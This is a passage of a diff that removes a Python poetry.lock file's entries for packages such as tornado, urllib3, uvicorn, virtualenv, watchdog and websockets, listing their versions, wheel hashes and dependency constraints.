"sha256:c73add4bb52a206fd0c0723432db123c0c75c280cbd67174dd9d2db228ebb1b4"}, - {file = "tomli-2.4.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fb2945cbe303b1419e2706e711b7113da57b7db31ee378d08712d678a34e51e"}, - {file = "tomli-2.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bbb1b10aa643d973366dc2cb1ad94f99c1726a02343d43cbc011edbfac579e7c"}, - {file = "tomli-2.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4cbcb367d44a1f0c2be408758b43e1ffb5308abe0ea222897d6bfc8e8281ef2f"}, - {file = "tomli-2.4.0-cp313-cp313-win32.whl", hash = "sha256:7d49c66a7d5e56ac959cb6fc583aff0651094ec071ba9ad43df785abc2320d86"}, - {file = "tomli-2.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:3cf226acb51d8f1c394c1b310e0e0e61fecdd7adcb78d01e294ac297dd2e7f87"}, - {file = "tomli-2.4.0-cp313-cp313-win_arm64.whl", hash = "sha256:d20b797a5c1ad80c516e41bc1fb0443ddb5006e9aaa7bda2d71978346aeb9132"}, - {file = "tomli-2.4.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:26ab906a1eb794cd4e103691daa23d95c6919cc2fa9160000ac02370cc9dd3f6"}, - {file = "tomli-2.4.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:20cedb4ee43278bc4f2fee6cb50daec836959aadaf948db5172e776dd3d993fc"}, - {file = "tomli-2.4.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:39b0b5d1b6dd03684b3fb276407ebed7090bbec989fa55838c98560c01113b66"}, - {file = "tomli-2.4.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a26d7ff68dfdb9f87a016ecfd1e1c2bacbe3108f4e0f8bcd2228ef9a766c787d"}, - {file = "tomli-2.4.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:20ffd184fb1df76a66e34bd1b36b4a4641bd2b82954befa32fe8163e79f1a702"}, - {file = "tomli-2.4.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:75c2f8bbddf170e8effc98f5e9084a8751f8174ea6ccf4fca5398436e0320bc8"}, - {file = "tomli-2.4.0-cp314-cp314-win32.whl", hash = "sha256:31d556d079d72db7c584c0627ff3a24c5d3fb4f730221d3444f3efb1b2514776"}, - {file = "tomli-2.4.0-cp314-cp314-win_amd64.whl", hash = "sha256:43e685b9b2341681907759cf3a04e14d7104b3580f808cfde1dfdb60ada85475"}, - {file = "tomli-2.4.0-cp314-cp314-win_arm64.whl", hash = "sha256:3d895d56bd3f82ddd6faaff993c275efc2ff38e52322ea264122d72729dca2b2"}, - {file = "tomli-2.4.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:5b5807f3999fb66776dbce568cc9a828544244a8eb84b84b9bafc080c99597b9"}, - {file = "tomli-2.4.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c084ad935abe686bd9c898e62a02a19abfc9760b5a79bc29644463eaf2840cb0"}, - {file = "tomli-2.4.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f2e3955efea4d1cfbcb87bc321e00dc08d2bcb737fd1d5e398af111d86db5df"}, - {file = "tomli-2.4.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e0fe8a0b8312acf3a88077a0802565cb09ee34107813bba1c7cd591fa6cfc8d"}, - {file = "tomli-2.4.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:413540dce94673591859c4c6f794dfeaa845e98bf35d72ed59636f869ef9f86f"}, - {file = "tomli-2.4.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0dc56fef0e2c1c470aeac5b6ca8cc7b640bb93e92d9803ddaf9ea03e198f5b0b"}, - {file = "tomli-2.4.0-cp314-cp314t-win32.whl", hash = "sha256:d878f2a6707cc9d53a1be1414bbb419e629c3d6e67f69230217bb663e76b5087"}, - {file = "tomli-2.4.0-cp314-cp314t-win_amd64.whl", hash = "sha256:2add28aacc7425117ff6364fe9e06a183bb0251b03f986df0e78e974047571fd"}, - {file = "tomli-2.4.0-cp314-cp314t-win_arm64.whl", hash = "sha256:2b1e3b80e1d5e52e40e9b924ec43d81570f0e7d09d11081b797bc4692765a3d4"}, - {file = "tomli-2.4.0-py3-none-any.whl", hash = "sha256:1f776e7d669ebceb01dee46484485f43a4048746235e683bcdffacdf1fb4785a"}, - {file = "tomli-2.4.0.tar.gz", hash = "sha256:aa89c3f6c277dd275d8e243ad24f3b5e701491a860d5121f2cdd399fbb31fc9c"}, -] - -[[package]] -name = "tomlkit" -version = "0.14.0" -description = "Style preserving TOML library" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "tomlkit-0.14.0-py3-none-any.whl", hash = "sha256:592064ed85b40fa213469f81ac584f67a4f2992509a7c3ea2d632208623a3680"}, - {file = "tomlkit-0.14.0.tar.gz", hash = "sha256:cf00efca415dbd57575befb1f6634c4f42d2d87dbba376128adb42c121b87064"}, -] - -[[package]] -name = "tornado" -version = "6.5.4" -description = "Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed." -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "tornado-6.5.4-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:d6241c1a16b1c9e4cc28148b1cda97dd1c6cb4fb7068ac1bedc610768dff0ba9"}, - {file = "tornado-6.5.4-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:2d50f63dda1d2cac3ae1fa23d254e16b5e38153758470e9956cbc3d813d40843"}, - {file = "tornado-6.5.4-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d1cf66105dc6acb5af613c054955b8137e34a03698aa53272dbda4afe252be17"}, - {file = "tornado-6.5.4-cp39-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:50ff0a58b0dc97939d29da29cd624da010e7f804746621c78d14b80238669335"}, - {file = "tornado-6.5.4-cp39-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e5fb5e04efa54cf0baabdd10061eb4148e0be137166146fff835745f59ab9f7f"}, - {file = "tornado-6.5.4-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9c86b1643b33a4cd415f8d0fe53045f913bf07b4a3ef646b735a6a86047dda84"}, - {file = "tornado-6.5.4-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:6eb82872335a53dd063a4f10917b3efd28270b56a33db69009606a0312660a6f"}, - {file = "tornado-6.5.4-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:6076d5dda368c9328ff41ab5d9dd3608e695e8225d1cd0fd1e006f05da3635a8"}, - {file = "tornado-6.5.4-cp39-abi3-win32.whl", hash = "sha256:1768110f2411d5cd281bac0a090f707223ce77fd110424361092859e089b38d1"}, - {file = "tornado-6.5.4-cp39-abi3-win_amd64.whl", hash = "sha256:fa07d31e0cd85c60713f2b995da613588aa03e1303d75705dca6af8babc18ddc"}, - {file = "tornado-6.5.4-cp39-abi3-win_arm64.whl", hash = "sha256:053e6e16701eb6cbe641f308f4c1a9541f91b6261991160391bfc342e8a551a1"}, - {file = "tornado-6.5.4.tar.gz", hash = "sha256:a22fa9047405d03260b483980635f0b041989d8bcc9a313f8fe18b411d84b1d7"}, -] - -[[package]] -name = "typing-extensions" -version = "4.15.0" -description = "Backported and Experimental Type Hints for Python 3.9+" -optional = false -python-versions = ">=3.9" -groups = ["main", "dev", "docs"] -files = [ - {file = "typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548"}, - {file = "typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466"}, -] - -[[package]] -name = "typing-inspection" -version = "0.4.2" -description = "Runtime typing introspection tools" -optional = false -python-versions = ">=3.9" -groups = ["main", "dev"] -files = [ - {file = "typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7"}, - {file = "typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464"}, -] - -[package.dependencies] -typing-extensions = ">=4.12.0" - -[[package]] -name = "unidecode" -version = "1.4.0" -description = "ASCII transliterations of Unicode text" -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "Unidecode-1.4.0-py3-none-any.whl", hash = "sha256:c3c7606c27503ad8d501270406e345ddb480a7b5f38827eafe4fa82a137f0021"}, - {file = "Unidecode-1.4.0.tar.gz", hash = "sha256:ce35985008338b676573023acc382d62c264f307c8f7963733405add37ea2b23"}, -] - -[[package]] -name = "urllib3" -version = "2.6.3" -description = "HTTP library with thread-safe connection pooling, file post, and more." -optional = false -python-versions = ">=3.9" -groups = ["main", "dev", "docs"] -files = [ - {file = "urllib3-2.6.3-py3-none-any.whl", hash = "sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4"}, - {file = "urllib3-2.6.3.tar.gz", hash = "sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed"}, -] - -[package.extras] -brotli = ["brotli (>=1.2.0) ; platform_python_implementation == \"CPython\"", "brotlicffi (>=1.2.0.0) ; platform_python_implementation != \"CPython\""] -h2 = ["h2 (>=4,<5)"] -socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"] -zstd = ["backports-zstd (>=1.0.0) ; python_version < \"3.14\""] - -[[package]] -name = "uvicorn" -version = "0.39.0" -description = "The lightning-fast ASGI server." -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "uvicorn-0.39.0-py3-none-any.whl", hash = "sha256:7beec21bd2693562b386285b188a7963b06853c0d006302b3e4cfed950c9929a"}, - {file = "uvicorn-0.39.0.tar.gz", hash = "sha256:610512b19baa93423d2892d7823741f6d27717b642c8964000d7194dded19302"}, -] - -[package.dependencies] -click = ">=7.0" -h11 = ">=0.8" -typing-extensions = {version = ">=4.0", markers = "python_version < \"3.11\""} - -[package.extras] -standard = ["colorama (>=0.4) ; sys_platform == \"win32\"", "httptools (>=0.6.3)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.15.1) ; sys_platform != \"win32\" and sys_platform != \"cygwin\" and platform_python_implementation != \"PyPy\"", "watchfiles (>=0.13)", "websockets (>=10.4)"] - -[[package]] -name = "verspec" -version = "0.1.0" -description = "Flexible version handling" -optional = false -python-versions = "*" -groups = ["docs"] -files = [ - {file = "verspec-0.1.0-py3-none-any.whl", hash = "sha256:741877d5633cc9464c45a469ae2a31e801e6dbbaa85b9675d481cda100f11c31"}, - {file = "verspec-0.1.0.tar.gz", hash = "sha256:c4504ca697b2056cdb4bfa7121461f5a0e81809255b41c03dda4ba823637c01e"}, -] - -[package.extras] -test = ["coverage", "flake8 (>=3.7)", "mypy", "pretend", "pytest"] - -[[package]] -name = "virtualenv" -version = "20.36.1" -description = "Virtual Python Environment builder" -optional = false -python-versions = ">=3.8" -groups = ["dev"] -files = [ - {file = "virtualenv-20.36.1-py3-none-any.whl", hash = "sha256:575a8d6b124ef88f6f51d56d656132389f961062a9177016a50e4f507bbcc19f"}, - {file = "virtualenv-20.36.1.tar.gz", hash = "sha256:8befb5c81842c641f8ee658481e42641c68b5eab3521d8e092d18320902466ba"}, -] - -[package.dependencies] -distlib = ">=0.3.7,<1" -filelock = [ - {version = ">=3.16.1,<4", markers = "python_version < \"3.10\""}, - {version = ">=3.20.1,<4", markers = "python_version >= \"3.10\""}, -] -platformdirs = ">=3.9.1,<5" -typing-extensions = {version = ">=4.13.2", markers = "python_version < \"3.11\""} - -[package.extras] -docs = ["furo (>=2023.7.26)", "proselint (>=0.13)", "sphinx (>=7.1.2,!=7.3)", "sphinx-argparse (>=0.4)", "sphinxcontrib-towncrier (>=0.2.1a0)", "towncrier (>=23.6)"] -test = ["covdefaults (>=2.3)", "coverage (>=7.2.7)", "coverage-enable-subprocess (>=1)", "flaky (>=3.7)", "packaging (>=23.1)", "pytest (>=7.4)", "pytest-env (>=0.8.2)", "pytest-freezer (>=0.4.8) ; platform_python_implementation == \"PyPy\" or platform_python_implementation == \"GraalVM\" or platform_python_implementation == \"CPython\" and sys_platform == \"win32\" and python_version >= \"3.13\"", "pytest-mock (>=3.11.1)", "pytest-randomly (>=3.12)", "pytest-timeout (>=2.1)", "setuptools (>=68)", "time-machine (>=2.10) ; platform_python_implementation == \"CPython\""] - -[[package]] -name = "watchdog" -version = "6.0.0" -description = "Filesystem events monitoring" -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "watchdog-6.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1cdb490583ebd691c012b3d6dae011000fe42edb7a82ece80965b42abd61f26"}, - {file = "watchdog-6.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:bc64ab3bdb6a04d69d4023b29422170b74681784ffb9463ed4870cf2f3e66112"}, - {file = "watchdog-6.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c897ac1b55c5a1461e16dae288d22bb2e412ba9807df8397a635d88f671d36c3"}, - {file = "watchdog-6.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6eb11feb5a0d452ee41f824e271ca311a09e250441c262ca2fd7ebcf2461a06c"}, - {file = "watchdog-6.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ef810fbf7b781a5a593894e4f439773830bdecb885e6880d957d5b9382a960d2"}, - {file = "watchdog-6.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:afd0fe1b2270917c5e23c2a65ce50c2a4abb63daafb0d419fde368e272a76b7c"}, - {file = "watchdog-6.0.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:bdd4e6f14b8b18c334febb9c4425a878a2ac20efd1e0b231978e7b150f92a948"}, - {file = "watchdog-6.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c7c15dda13c4eb00d6fb6fc508b3c0ed88b9d5d374056b239c4ad1611125c860"}, - {file = "watchdog-6.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6f10cb2d5902447c7d0da897e2c6768bca89174d0c6e1e30abec5421af97a5b0"}, - {file = "watchdog-6.0.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:490ab2ef84f11129844c23fb14ecf30ef3d8a6abafd3754a6f75ca1e6654136c"}, - {file = "watchdog-6.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:76aae96b00ae814b181bb25b1b98076d5fc84e8a53cd8885a318b42b6d3a5134"}, - {file = "watchdog-6.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a175f755fc2279e0b7312c0035d52e27211a5bc39719dd529625b1930917345b"}, - {file = "watchdog-6.0.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:e6f0e77c9417e7cd62af82529b10563db3423625c5fce018430b249bf977f9e8"}, - {file = "watchdog-6.0.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:90c8e78f3b94014f7aaae121e6b909674df5b46ec24d6bebc45c44c56729af2a"}, - {file = "watchdog-6.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e7631a77ffb1f7d2eefa4445ebbee491c720a5661ddf6df3498ebecae5ed375c"}, - {file = "watchdog-6.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c7ac31a19f4545dd92fc25d200694098f42c9a8e391bc00bdd362c5736dbf881"}, - {file = "watchdog-6.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:9513f27a1a582d9808cf21a07dae516f0fab1cf2d7683a742c498b93eedabb11"}, - {file = "watchdog-6.0.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7a0e56874cfbc4b9b05c60c8a1926fedf56324bb08cfbc188969777940aef3aa"}, - {file = "watchdog-6.0.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:e6439e374fc012255b4ec786ae3c4bc838cd7309a540e5fe0952d03687d8804e"}, - {file = "watchdog-6.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:7607498efa04a3542ae3e05e64da8202e58159aa1fa4acddf7678d34a35d4f13"}, - {file = "watchdog-6.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:9041567ee8953024c83343288ccc458fd0a2d811d6a0fd68c4c22609e3490379"}, - {file = "watchdog-6.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:82dc3e3143c7e38ec49d61af98d6558288c415eac98486a5c581726e0737c00e"}, - {file = "watchdog-6.0.0-py3-none-manylinux2014_ppc64.whl", hash = "sha256:212ac9b8bf1161dc91bd09c048048a95ca3a4c4f5e5d4a7d1b1a7d5752a7f96f"}, - {file = "watchdog-6.0.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:e3df4cbb9a450c6d49318f6d14f4bbc80d763fa587ba46ec86f99f9e6876bb26"}, - {file = "watchdog-6.0.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:2cce7cfc2008eb51feb6aab51251fd79b85d9894e98ba847408f662b3395ca3c"}, - {file = "watchdog-6.0.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:20ffe5b202af80ab4266dcd3e91aae72bf2da48c0d33bdb15c66658e685e94e2"}, - {file = "watchdog-6.0.0-py3-none-win32.whl", hash = "sha256:07df1fdd701c5d4c8e55ef6cf55b8f0120fe1aef7ef39a1c6fc6bc2e606d517a"}, - {file = "watchdog-6.0.0-py3-none-win_amd64.whl", hash = "sha256:cbafb470cf848d93b5d013e2ecb245d4aa1c8fd0504e863ccefa32445359d680"}, - {file = "watchdog-6.0.0-py3-none-win_ia64.whl", hash = "sha256:a1914259fa9e1454315171103c6a30961236f508b9b623eae470268bbcc6a22f"}, - {file = "watchdog-6.0.0.tar.gz", hash = "sha256:9ddf7c82fda3ae8e24decda1338ede66e1c99883db93711d8fb941eaa2d8c282"}, -] - -[package.extras] -watchmedo = ["PyYAML (>=3.10)"] - -[[package]] -name = "websockets" -version = "15.0.1" -description = "An implementation of the WebSocket Protocol (RFC 6455 & 7692)" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "websockets-15.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d63efaa0cd96cf0c5fe4d581521d9fa87744540d4bc999ae6e08595a1014b45b"}, - {file = "websockets-15.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ac60e3b188ec7574cb761b08d50fcedf9d77f1530352db4eef1707fe9dee7205"}, - {file = "websockets-15.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5756779642579d902eed757b21b0164cd6fe338506a8083eb58af5c372e39d9a"}, - {file = "websockets-15.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fdfe3e2a29e4db3659dbd5bbf04560cea53dd9610273917799f1cde46aa725e"}, - {file = "websockets-15.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4c2529b320eb9e35af0fa3016c187dffb84a3ecc572bcee7c3ce302bfeba52bf"}, - {file = "websockets-15.0.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac1e5c9054fe23226fb11e05a6e630837f074174c4c2f0fe442996112a6de4fb"}, - {file = "websockets-15.0.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5df592cd503496351d6dc14f7cdad49f268d8e618f80dce0cd5a36b93c3fc08d"}, - {file = "websockets-15.0.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:0a34631031a8f05657e8e90903e656959234f3a04552259458aac0b0f9ae6fd9"}, - {file = "websockets-15.0.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3d00075aa65772e7ce9e990cab3ff1de702aa09be3940d1dc88d5abf1ab8a09c"}, - {file = "websockets-15.0.1-cp310-cp310-win32.whl", hash = "sha256:1234d4ef35db82f5446dca8e35a7da7964d02c127b095e172e54397fb6a6c256"}, - {file = "websockets-15.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:39c1fec2c11dc8d89bba6b2bf1556af381611a173ac2b511cf7231622058af41"}, - {file = "websockets-15.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:823c248b690b2fd9303ba00c4f66cd5e2d8c3ba4aa968b2779be9532a4dad431"}, - {file = "websockets-15.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678999709e68425ae2593acf2e3ebcbcf2e69885a5ee78f9eb80e6e371f1bf57"}, - {file = "websockets-15.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d50fd1ee42388dcfb2b3676132c78116490976f1300da28eb629272d5d93e905"}, - {file = "websockets-15.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d99e5546bf73dbad5bf3547174cd6cb8ba7273062a23808ffea025ecb1cf8562"}, - {file = "websockets-15.0.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:66dd88c918e3287efc22409d426c8f729688d89a0c587c88971a0faa2c2f3792"}, - {file = "websockets-15.0.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8dd8327c795b3e3f219760fa603dcae1dcc148172290a8ab15158cf85a953413"}, - {file = "websockets-15.0.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8fdc51055e6ff4adeb88d58a11042ec9a5eae317a0a53d12c062c8a8865909e8"}, - {file = "websockets-15.0.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:693f0192126df6c2327cce3baa7c06f2a117575e32ab2308f7f8216c29d9e2e3"}, - {file = "websockets-15.0.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:54479983bd5fb469c38f2f5c7e3a24f9a4e70594cd68cd1fa6b9340dadaff7cf"}, - {file = "websockets-15.0.1-cp311-cp311-win32.whl", hash = "sha256:16b6c1b3e57799b9d38427dda63edcbe4926352c47cf88588c0be4ace18dac85"}, - {file = "websockets-15.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:27ccee0071a0e75d22cb35849b1db43f2ecd3e161041ac1ee9d2352ddf72f065"}, - {file = "websockets-15.0.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:3e90baa811a5d73f3ca0bcbf32064d663ed81318ab225ee4f427ad4e26e5aff3"}, - {file = "websockets-15.0.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:592f1a9fe869c778694f0aa806ba0374e97648ab57936f092fd9d87f8bc03665"}, - {file = "websockets-15.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0701bc3cfcb9164d04a14b149fd74be7347a530ad3bbf15ab2c678a2cd3dd9a2"}, - {file = "websockets-15.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e8b56bdcdb4505c8078cb6c7157d9811a85790f2f2b3632c7d1462ab5783d215"}, - {file = "websockets-15.0.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0af68c55afbd5f07986df82831c7bff04846928ea8d1fd7f30052638788bc9b5"}, - {file = "websockets-15.0.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64dee438fed052b52e4f98f76c5790513235efaa1ef7f3f2192c392cd7c91b65"}, - {file = "websockets-15.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d5f6b181bb38171a8ad1d6aa58a67a6aa9d4b38d0f8c5f496b9e42561dfc62fe"}, - {file = "websockets-15.0.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:5d54b09eba2bada6011aea5375542a157637b91029687eb4fdb2dab11059c1b4"}, - {file = "websockets-15.0.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3be571a8b5afed347da347bfcf27ba12b069d9d7f42cb8c7028b5e98bbb12597"}, - {file = "websockets-15.0.1-cp312-cp312-win32.whl", hash = "sha256:c338ffa0520bdb12fbc527265235639fb76e7bc7faafbb93f6ba80d9c06578a9"}, - {file = "websockets-15.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:fcd5cf9e305d7b8338754470cf69cf81f420459dbae8a3b40cee57417f4614a7"}, - {file = "websockets-15.0.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ee443ef070bb3b6ed74514f5efaa37a252af57c90eb33b956d35c8e9c10a1931"}, - {file = "websockets-15.0.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5a939de6b7b4e18ca683218320fc67ea886038265fd1ed30173f5ce3f8e85675"}, - {file = "websockets-15.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:746ee8dba912cd6fc889a8147168991d50ed70447bf18bcda7039f7d2e3d9151"}, - {file = "websockets-15.0.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:595b6c3969023ecf9041b2936ac3827e4623bfa3ccf007575f04c5a6aa318c22"}, - {file = "websockets-15.0.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c714d2fc58b5ca3e285461a4cc0c9a66bd0e24c5da9911e30158286c9b5be7f"}, - {file = "websockets-15.0.1-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f3c1e2ab208db911594ae5b4f79addeb3501604a165019dd221c0bdcabe4db8"}, - {file = "websockets-15.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:229cf1d3ca6c1804400b0a9790dc66528e08a6a1feec0d5040e8b9eb14422375"}, - {file = "websockets-15.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:756c56e867a90fb00177d530dca4b097dd753cde348448a1012ed6c5131f8b7d"}, - {file = "websockets-15.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:558d023b3df0bffe50a04e710bc87742de35060580a293c2a984299ed83bc4e4"}, - {file = "websockets-15.0.1-cp313-cp313-win32.whl", hash = "sha256:ba9e56e8ceeeedb2e080147ba85ffcd5cd0711b89576b83784d8605a7df455fa"}, - {file = "websockets-15.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:e09473f095a819042ecb2ab9465aee615bd9c2028e4ef7d933600a8401c79561"}, - {file = "websockets-15.0.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5f4c04ead5aed67c8a1a20491d54cdfba5884507a48dd798ecaf13c74c4489f5"}, - {file = "websockets-15.0.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:abdc0c6c8c648b4805c5eacd131910d2a7f6455dfd3becab248ef108e89ab16a"}, - {file = "websockets-15.0.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a625e06551975f4b7ea7102bc43895b90742746797e2e14b70ed61c43a90f09b"}, - {file = "websockets-15.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d591f8de75824cbb7acad4e05d2d710484f15f29d4a915092675ad3456f11770"}, - {file = "websockets-15.0.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:47819cea040f31d670cc8d324bb6435c6f133b8c7a19ec3d61634e62f8d8f9eb"}, - {file = "websockets-15.0.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac017dd64572e5c3bd01939121e4d16cf30e5d7e110a119399cf3133b63ad054"}, - {file = "websockets-15.0.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:4a9fac8e469d04ce6c25bb2610dc535235bd4aa14996b4e6dbebf5e007eba5ee"}, - {file = "websockets-15.0.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:363c6f671b761efcb30608d24925a382497c12c506b51661883c3e22337265ed"}, - {file = "websockets-15.0.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:2034693ad3097d5355bfdacfffcbd3ef5694f9718ab7f29c29689a9eae841880"}, - {file = "websockets-15.0.1-cp39-cp39-win32.whl", hash = "sha256:3b1ac0d3e594bf121308112697cf4b32be538fb1444468fb0a6ae4feebc83411"}, - {file = "websockets-15.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:b7643a03db5c95c799b89b31c036d5f27eeb4d259c798e878d6937d71832b1e4"}, - {file = "websockets-15.0.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = 